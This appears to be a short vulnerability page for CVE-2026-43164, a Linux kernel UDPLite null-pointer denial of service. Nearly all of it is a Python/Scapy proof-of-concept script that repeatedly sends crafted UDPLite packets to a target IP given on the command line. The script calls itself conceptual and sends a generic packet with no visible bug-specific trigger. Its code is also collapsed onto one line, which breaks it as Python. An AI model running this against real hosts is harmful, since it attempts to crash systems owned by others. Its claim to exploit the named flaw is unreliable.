CVE-2026-43164 Linux内核UDPLite空指针拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-43164: Linux Kernel UDPLite Null Pointer Dereference # Note: This is a conceptual PoC. Triggering kernel bugs requires specific target conditions. from scapy.all import * import sys def send_udplite_packet(target_ip): # Construct a UDPLite packet # UDPLite uses IP protocol 136 ip = IP(dst=target_ip) # Create a UDPLite header. Scapy might not support UDPLite natively in all versions, # so we use Raw payload with the protocol number. # Standard UDP header structure is used for parsing, but protocol is 136. udp_lite = UDP(sport=12345, dport=12345) payload = b"A" * 32 packet = ip / udp_lite / payload # Force IP protocol to UDPLite (136) packet[IP].proto = 136 print(f"[*] Sending UDPLite packet to {target_ip}...") send(packet, loop=1, count=10) print("[+] Packets sent.") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) send_udplite_packet(sys.argv[1])